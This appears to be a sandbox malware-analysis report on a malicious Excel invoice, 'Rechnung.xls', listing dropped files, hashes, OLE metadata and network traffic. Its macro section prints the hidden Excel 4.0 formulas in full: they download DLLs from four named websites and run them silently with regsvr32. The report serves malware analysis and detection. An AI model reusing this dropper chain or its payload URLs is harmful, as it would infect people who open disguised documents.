......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lJWa95VlQ[1]

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Preview:	0....

C:\Users\user\AppData\Local\Temp\CabC624.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\Local\Temp\TarC625.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	162196
Entropy (8bit):	6.301436092020807
Encrypted:	false
SSDEEP:	1536:Nga6crtilgCyNY2Ip/5ib6NWdm1wpzru2RPZz04D8rlCMiB3XlMc:Na0imCy/dm0zru2RN97MiVGc
MD5:	E721613517543768F0DE47A6EEEE3475
SHA1:	3FFC13E3157CF6EB9E9CCAB57B9058209AF41D69
SHA-256:	3163B82D1289693122EF99ED6C3C1911F68AA2A7296907CEBF84C897141CED4E
SHA-512:	E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09D9DDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587
Malicious:	false
Preview:	0..y....H.........y.0..yz...1.0...`.H.e......0..i...+.....7.....i.0..i.0...+.....7........SiU[v...220418211447Z0...+......0..i.0..D.....`...@.,..0..0.r1..0...+.....7..h1......+h...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o

C:\Users\user\AppData\Local\Temp\~DF87842D0B1D415996.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.430046337073317
Encrypted:	false
SSDEEP:	768:ODRKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+VB9s1X0:OVKpb8rGYrMPe3q7Q0XV5xtezE8vG8Uv
MD5:	268EE6A4D8E511858C19684926C5CBC5
SHA1:	4406095C22A6FA760F49845B116610756D3FFC01
SHA-256:	C3C0646B3FDD86756340917F30A5B4F289095960870A82FBAD8D0033E5056C5E
SHA-512:	526EDE142F8B98D56B21E4010018A83657232FA14EA69B53D5073D09E473FFD5E61639F6F53F42D2B4277CF35B9D806EEAFED619C725F2529516D012BFA778F2
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Rechnung.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 16:15:56 2022, Security: 0
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.450391718702606
Encrypted:	false
SSDEEP:	1536:gVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+79s1a6YG2jzQ0viPvDNHhA6J:+Kpb8rGYrMPe3q7Q0XV5xtezE8vG8UMt
MD5:	57D7E849761FABD6EE8346626D84F873
SHA1:	F8CF67F4660EFA3FD9BACFAD41B834482AEA8287
SHA-256:	D9A4982FAB4D1DCE466119FD8170D01AE649E9E23EB249ACE8A630D2A93E4F7F
SHA-512:	5AE438A8E877CE5F310D4367AFE9281E9AFB9D3C1562B5ADE5D4D923F63835F7CC8E0C753665934EF6AE4ABBC9F7E2A56E428E07A0F5547811C7A6A6DBBC2047
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....userTH B.....a.........=.................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......

C:\Users\user\uxevr1.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158099808823071
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TrRIvgMSS3AyUrhYu3j
MD5:	F11EBAFE4C3C0069090023A6B4CAEC35
SHA1:	3FECC4BC39FA6F17F062473D80F51AAEF8B442DB
SHA-256:	CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
SHA-512:	425ED0A65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EA586ED07B0A517011E6143CE41E5D4D93608208C1DC73880F18
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr2.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106332990621
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTb0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TWRIvgMSS3AyUrhYu3j
MD5:	8516983EEDC8690C1495B828B4262A63
SHA1:	BDD250044234E53E9F08DB444A1DE00987735930
SHA-256:	90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D
SHA-512:	C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5F4DE06219A1FA6D9D015691E9432CD93
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr3.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106334231925
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTZA0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TjRIvgMSS3AyUrhYu3j
MD5:	BE9AB3CBCD3C659212F266325283997D
SHA1:	8AE66E545E3F39473BE65759BE466D48448F385C
SHA-256:	278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
SHA-512:	48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\GistaKepWrpVA\oAaDhgd.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106334231925
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTZA0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TjRIvgMSS3AyUrhYu3j
MD5:	BE9AB3CBCD3C659212F266325283997D
SHA1:	8AE66E545E3F39473BE65759BE466D48448F385C
SHA-256:	278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
SHA-512:	48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\ITAzDMJQNXvQb\pSYwk.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158099808823071
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TrRIvgMSS3AyUrhYu3j
MD5:	F11EBAFE4C3C0069090023A6B4CAEC35
SHA1:	3FECC4BC39FA6F17F062473D80F51AAEF8B442DB
SHA-256:	CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
SHA-512:	425ED0A65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EA586ED07B0A517011E6143CE41E5D4D93608208C1DC73880F18
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106332990621
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTb0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TWRIvgMSS3AyUrhYu3j
MD5:	8516983EEDC8690C1495B828B4262A63
SHA1:	BDD250044234E53E9F08DB444A1DE00987735930
SHA-256:	90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D
SHA-512:	C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5F4DE06219A1FA6D9D015691E9432CD93
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 16:15:56 2022, Security: 0
Entropy (8bit):	6.450200679340904
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	Rechnung.xls
File size:	69138
MD5:	9729363a5cdfee2598f93545b933043e
SHA1:	be0c2937e23a7359a04366e9b27ccf1e3c32ee1f
SHA256:	2b0db62c56ce0553d5ba8842a53d17ff5d0b66ad397c3b9565af1cfe48e19364
SHA512:	5fdf316c01fc6460d48186f1670d80025621b4aa7d2fafee3b2929076c65834e17b5435e0457270048c5617e9945ec3ab4b4bfe921c538cf270d61485fb77a2a
SSDEEP:	1536:nVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+79s1a6YG2jzQ0viPvDNHhA6A:VKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM0
TLSH:	F9635A467A59C82DF914D33549D74BA97316FC318FAB0A833225F324AFFD8A05A0761B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Rechnung.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:	Dream
Last Saved By:	TYHRETH
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-05-20 15:15:56
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.404258978601
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . E S R S G B 1 . . . . . E G S H R H V 2 . . . . . E S H V G R E R 3 . . . . . P K E K P P G
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 18 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.280796102053
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D r e a m . . . . . . . . . . . T Y H R E T H . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . . . \\ l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58850

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	58850
Entropy:	7.09451088117
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T Y H R E T H B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . . . . . . . . " . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 07 00 00 54 59 48 52 45 54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepre7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepost7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/","..\uxevr1.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")14,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/","..\uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")18,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/","..\uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:19:15.115721941 CEST	49171	80	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.132961035 CEST	80	49171	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.133498907 CEST	49171	80	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.135399103 CEST	49171	80	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.155109882 CEST	80	49171	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.164824009 CEST	80	49171	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.164917946 CEST	49171	80	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.389527082 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.389604092 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.389720917 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.405400038 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.405425072 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.457469940 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.457676888 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.481468916 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.481497049 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.481873989 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:15.481942892 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.732791901 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:15.776520967 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.106936932 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107048035 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107098103 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107144117 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107215881 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107228041 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107254028 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107264996 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107300997 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107310057 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107364893 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107382059 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107393026 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107424021 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107467890 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107469082 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107481956 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107532978 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107562065 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107616901 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107628107 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107680082 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107687950 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107757092 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107779980 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107789993 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107809067 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107837915 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107846975 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107887030 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107911110 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107922077 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.107939959 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.107965946 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.108522892 CEST	49172	443	192.168.2.22	188.114.97.10
